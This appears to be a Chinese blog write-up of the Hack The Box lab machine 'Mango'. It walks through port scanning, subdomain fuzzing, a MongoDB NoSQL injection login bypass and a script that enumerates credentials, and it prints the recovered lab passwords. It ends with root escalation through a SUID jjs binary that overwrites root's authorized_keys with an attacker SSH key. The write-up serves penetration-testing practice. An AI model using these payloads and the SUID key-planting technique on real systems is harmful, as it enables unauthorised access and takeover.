当前位置: 首页 > news >正文

【Hack The Box】linux练习-- Mango

HTB 学习笔记

【Hack The Box】linux练习-- Mango


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 80
    • 443
        • 域名爆破一下
    • staging-order.mango.htb
    • mongodb注入
    • 提权

在这里插入图片描述

信息收集

22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
...[snip]...
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80

啥也没有

443

网站证书得到了两个域名

staging-order.mango.htb
mango.htb

域名爆破一下

wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Host: FUZZ.mango.htb" --hh 5152 https://10.10.10.162/

但是没有结果

在这里插入图片描述
单击 Analytics 链接会导致 /analytics.php,它显示了一个带有饼图的电子表格

在这里插入图片描述
在这里插入图片描述但是不知道有啥用

staging-order.mango.htb

NoSQL 注入登录绕过

在使用一些基本的 SQL 注入尝试了一些默认密码后,我尝试了一些 NoSQL 注入 POC。 PayloadsAllTheThings 有一个很好 的测试注入列表 。 在测试 NoSQL 文档数据库注入时,同时更改表单数据内容类型和 JSON,因为像 Mongo 这样的交互数据库使用 JSON。 将 POST 请求更改为 JSON 时,重要的是既要转换数据又要更改 Content-Type标头。

PayloadsAllTheThings 页面的第一部分是身份验证绕过,JSON 格式没有得到任何结果,但是“in URL”POC(也可以在 POST 正文中使用)做到了。 当我在 Burp 中捕获登录请求并将参数编辑为:

username[$ne]=hahaha&password[$ne]=hahaha&login=login

在这里插入图片描述

mongodb注入

直接上脚本

https://raw.githubusercontent.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration/master/nosqli-user-pass-enum.py

用这个脚本

python mongo.py -m post -up username -pp password -op login:login -u http://staging-order.mango.htb/ -ep username
python mongo.py -m post -up username -pp password -op login:login -u http://staging-order.mango.htb/ -ep password

枚举出

mango:h3mXK8RhU~f{]f5H
admin:t9KcS3>!0B#2

admin不能直接ssh登陆上
那就先登陆mongo再登陆admin
su admin

提权

find / -user root -perm -4000 2>/dev/null -ls

发现了这个从来咩有见过的,并且可以admin操作的
在这里插入图片描述

/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
jjs是一个用来 调用Nashorn引擎 的Java工具。 实际上,它允许我运行 Java 命令,并且由于 SUID,它们以 root 身份运行

https://gtfobins.github.io/gtfobins/jjs/

在这里插入图片描述但是这个没成功
在这里插入图片描述
那我就写一个ssh密钥

/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
echo 'var FileWriter = Java.type("java.io.FileWriter");

var fw=new FileWriter("/root/.ssh/authorized_keys");

fw.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwyDJ9eMoqcJqOhfgnS86spOUDkOvp2NLj+ULUvpyFNmDItPefXS5XbE2U0AiXOKcLkecKh60NcB3nTkhOdh0SEwGTrX9PBD7e5CPCps9AQW8B2DxqjDYe2STV3ZG7cUYtj7Zpk1fZOE6gNv2Fte9g4msyz5kmgVtqCPXHDRzgA0uFXtMhTvM/2WwjPq8dHMDkMMGDVxNDVsqBxG4cvDqM+C8VIwscp+sJZxXs5nM1K/5Xs57YtsTLU++vZZi3VMtZ7DAAZEIccSHAPouKkTJ6r9JsJ+ls54kmuvFVjpK4VsOvDoxs/FpuVUYd3NEpPY7d2JL3G6IAWAfy1ojBihsHV+C0+REkE6sW8sYnmjqZ/vKT0DCcgWxF1sBrrWzvsqs4NWyGt+/FgHjJEp78ehu+pIVFeicDY3MxmNvJgYpkSz7Ku814UNQc6WbJHV+JJLTZ/SSMVMOdeNAgUlXW8kECUrjikH2OcGuL+3YfbnLPXLX6ZC+QvpS2ixBMC+z4Qt8= root@kali");

fw.close();' | jjs

而后ssh -i id_rsa root@10.129.1.219
即可

相关文章:

  • dbt seed 命令及应用示例
  • 什么是区块链,以及应用场景
  • C++当中的多态(三)
  • 内存卡提示格式化怎么办?轻松应对格式化
  • 华为鸿蒙系统和安卓的区别
  • 【多场景应用】基于杰发科技AC7840x的Mini LED背光驱动设计
  • 代码库管理工具Git介绍
  • Linux——静态库
  • Java开发的核心模式 - MVC
  • Eureka服务搭建
  • 自动驾驶中的障碍物时间对齐法
  • CentOS 7全系列免费
  • Scientific Reports|比较转录组分析揭示了杀菌剂氰烯菌酯对尖孢镰刀菌的抗性调控机制和杀菌活性
  • 显示DataFrame中每行(或列)中,每个位置以前出现过的最小值:cummin()函数
  • redis过期key的清理/删除策略
  • 基于JavaWeb SSM bootStrap 校园二手市场管理系统的设计与实现
  • 博客系统前端页面
  • Kotlin Flow响应式编程,操作符函数进阶
  • Postman高频面试题及答案汇总(接口测试必备)
  • kaldi安装流程
  • 飞行机器人专栏(八)-- AGX Xavier 通信、控制及视觉应用开发
  • ZooKeeper设置ACL权限控制,删除权限
  • 前端面试题(JS部分)
  • 在博客园随笔中插入3D分子模型
  • 2009年数学二真题复盘
  • 零基础入门JavaWeb——Web基本概念
  • SpringBoot+Vue项目实现身体健康诊疗系统
  • cpu门禁电梯卡复制测试过程
  • DGL学习笔记——第一章 图
  • nginx配置https访问 生成ssl自签名证书,浏览器直接访问
  • Spring实战之容器、上下文、Bean的生命周期
  • 高级 Kubernetes 部署策略